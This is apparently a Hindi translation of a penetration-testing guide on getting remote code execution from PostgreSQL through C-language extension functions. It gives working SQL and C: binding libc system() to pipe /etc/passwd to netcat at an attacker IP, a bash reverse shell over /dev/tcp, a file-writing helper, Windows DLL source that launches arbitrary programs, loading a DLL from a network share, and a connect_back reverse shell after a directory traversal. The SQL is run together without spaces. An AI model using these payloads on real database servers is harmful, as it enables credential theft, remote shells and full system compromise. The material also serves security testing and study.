PostgreSQL को विस्तारणीयता को एक मुख्य विशेषता के रूप में विकसित किया गया है, जिससे यह विस्तारों को इस तरह से एकीकृत कर सकता है जैसे कि वे अंतर्निहित कार्यक्षमताएँ हों। ये विस्तार, मूल रूप से C में लिखी गई पुस्तकालयें, डेटाबेस को अतिरिक्त कार्यों, ऑपरेटरों या प्रकारों के साथ समृद्ध करते हैं।
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशिष्ट आवश्यकता लगाई गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तारों का उपयोग किया जाए।
PostgreSQL 8.1 और पूर्व के संस्करणों से सिस्टम कमांड्स का निष्पादन एक प्रक्रिया है जिसे स्पष्ट रूप से दस्तावेजित किया गया है और यह सीधी है। इसका उपयोग करना संभव है: Metasploit module.
CREATE OR REPLACEFUNCTIONsystem (cstring) RETURNSintegerAS'/lib/x86_64-linux-gnu/libc.so.6', 'system'LANGUAGE'c' STRICT;SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Write binary file from base64
पोस्टग्रेस में एक बाइनरी को फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
हालांकि, जब इसे उच्च संस्करणों पर आजमाया गया तो निम्नलिखित त्रुटि दिखाई गई:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, header fmgr.h शामिल करने के बाद:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
पुस्तकालय संकलित करें
PsotgreSQL संस्करण प्राप्त करें:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
संगतता के लिए, यह आवश्यक है कि प्रमुख संस्करण मेल खाते हों। इसलिए, 9.6.x श्रृंखला के भीतर किसी भी संस्करण के साथ एक पुस्तकालय को संकलित करना सफल एकीकरण सुनिश्चित करना चाहिए।
अपने सिस्टम में उस संस्करण को स्थापित करने के लिए:
फिर संकलित पुस्तकालय को अपलोड करें और कमांड्स को निष्पादित करें:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
आप इस पुस्तकालय को पूर्व-संकलित कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप इस प्रक्रिया को स्वचालित कर सकते हैं (यदि आपके पास PostgreSQL पहुंच है) के साथ:
Windows में RCE
निम्नलिखित DLL बाइनरी का नाम और संख्या को इनपुट के रूप में लेता है कि आप इसे कितनी बार निष्पादित करना चाहते हैं और इसे निष्पादित करता है:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
आप इस ज़िप में संकलित DLL पा सकते हैं:
आप इस DLL को कौन सा बाइनरी निष्पादित करना है और इसे कितनी बार निष्पादित करना है, यह बता सकते हैं, इस उदाहरण में यह calc.exe को 2 बार निष्पादित करेगा:
ध्यान दें कि इस मामले में दुष्ट कोड DllMain फ़ंक्शन के अंदर है। इसका मतलब है कि इस मामले में पोस्टग्रेएसक्यूएल में लोड किए गए फ़ंक्शन को निष्पादित करना आवश्यक नहीं है, बस DLL को लोड करनारिवर्स शेल को निष्पादित करेगा:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll','dummy_function' LANGUAGE C STRICT;
The PolyUDF project एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक उपयोग के लिए तैयार लाइब्रेरी (जिसमें: command eval, exec और cleanup) मल्टीवर्जन समर्थन के साथ है।
नवीनतम Prostgres संस्करणों में RCE
PostgreSQL के नवीनतम संस्करणों में, कुछ प्रतिबंध लगाए गए हैं जहाँ superuser को विशिष्ट निर्देशिकाओं के अलावा साझा लाइब्रेरी फ़ाइलें लोड करने से रोक दिया गया है, जैसे Windows पर C:\Program Files\PostgreSQL\11\lib या *nix सिस्टम पर /var/lib/postgresql/11/lib। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ सुरक्षित हैं।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस superuser के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में बाइनरी फ़ाइलें लिखना संभव है। यह क्षमता C:\Program Files\PostgreSQL\11\data निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
CREATE FUNCTION कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में निर्देशिका ट्रैवर्सल की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस ट्रैवर्सल का शोषण करके डेटा निर्देशिका में एक साझा लाइब्रेरी फ़ाइल लिख सकता है और फिर उसे लोड कर सकता है। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर स्थानीय कोड निष्पादन प्राप्त होता है।
हमले का प्रवाह
सबसे पहले आपको dll अपलोड करने के लिए large objects का उपयोग करना होगा। आप यहाँ देख सकते हैं कि ऐसा कैसे करना है:
एक बार जब आप डेटा निर्देशिका में एक्सटेंशन (इस उदाहरण के लिए poc.dll नाम के साथ) अपलोड कर लेते हैं, तो आप इसे लोड कर सकते हैं:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
ध्यान दें कि आपको .dll एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create function इसे जोड़ देगा।